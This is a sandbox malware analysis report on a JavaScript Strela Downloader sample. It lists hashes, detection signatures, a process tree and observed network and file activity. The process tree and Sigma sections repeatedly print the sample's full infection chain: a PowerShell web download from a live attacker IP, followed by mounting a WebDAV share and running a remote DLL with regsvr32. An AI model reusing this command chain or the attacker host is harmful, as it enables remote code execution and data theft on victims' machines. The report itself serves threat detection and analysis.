Edit tour

Windows Analysis Report
26804379891331232.js

Overview

General Information

Sample name:	26804379891331232.js
Analysis ID:	1589066
MD5:	78bcb0eaf05dcf149377de29aca93e92
SHA1:	fb579b8d3001f17c260d00534db086c798862f4b
SHA256:	2f1774d8774c6f3a4e3f9cf7ce39614d7a07bc3dd81b5eb70fb21093bf8c0184
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6568 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4616 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,10768720976208828925,12134824539070305012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2144 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5044 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1016 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4616, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4616, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4616, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2144, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5044, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1016, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2144, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5044, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 6568, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 26804379891331232.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 26804379891331232.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 26804379891331232.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2149015124.000001CF12EB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.000002213790F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/7
Source: net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: svchost.exe, 00000009.00000002.3447900583.00000270E1000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2227984766.00000270E0DE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 26804379891331232.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3744:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wduebka.qim.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 26804379891331232.js

Virustotal: Detection: 11%

